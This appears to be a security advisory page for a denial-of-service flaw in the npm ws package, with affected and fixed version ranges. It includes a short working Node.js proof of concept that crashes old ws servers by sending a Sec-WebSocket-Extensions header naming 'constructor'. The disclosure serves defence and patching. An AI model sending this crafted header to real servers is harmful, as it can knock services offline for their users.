Advisory

GHSA-5v72-xg48-5rpm

Also known as: None

Summary

Denial of Service in ws

Details

Affected versions of ws can crash when a specially crafted Sec-WebSocket-Extensions header containing Object.prototype property names as extension or parameter names is sent.

Proof of concept

const WebSocket = require('ws');
const net = require('net');

const wss = new WebSocket.Server({ port: 3000 }, function () {
  const payload = 'constructor';  // or ',;constructor'

  const request = [
    'GET / HTTP/1.1',
    'Connection: Upgrade',
    'Sec-WebSocket-Key: test',
    'Sec-WebSocket-Version: 8',
    `Sec-WebSocket-Extensions: ${payload}`,
    'Upgrade: websocket',
    '\r\n'
  ].join('\r\n');

  const socket = net.connect(3000, function () {
    socket.resume();
    socket.write(request);
  });
});

Recommendation

Update to version 3.3.1 or later.

Severity

High Basis: The source's own band: HIGH

Dates

Published
2019-06-04 19:37 UTC
Modified
2026-07-17 18:45 UTC

Affected packages and fixes

ws

npm · All systems

Affected

  • introduced 0.6.0, fixed 1.1.5 (semver)

Fixed versions

1.1.5

Fix

ws

npm · All systems

Affected

  • introduced 2.0.0, fixed 3.3.1 (semver)

Fixed versions

3.3.1

Fix

Fix commands are the export's own generic commands. Ojuju never runs them. Check them against your setup first.

Check your own computer: guard packages check

View this record on OSV.dev

Source

Source: GitHub Advisory Database (reviewed advisories) · CC BY 4.0

Sources & licences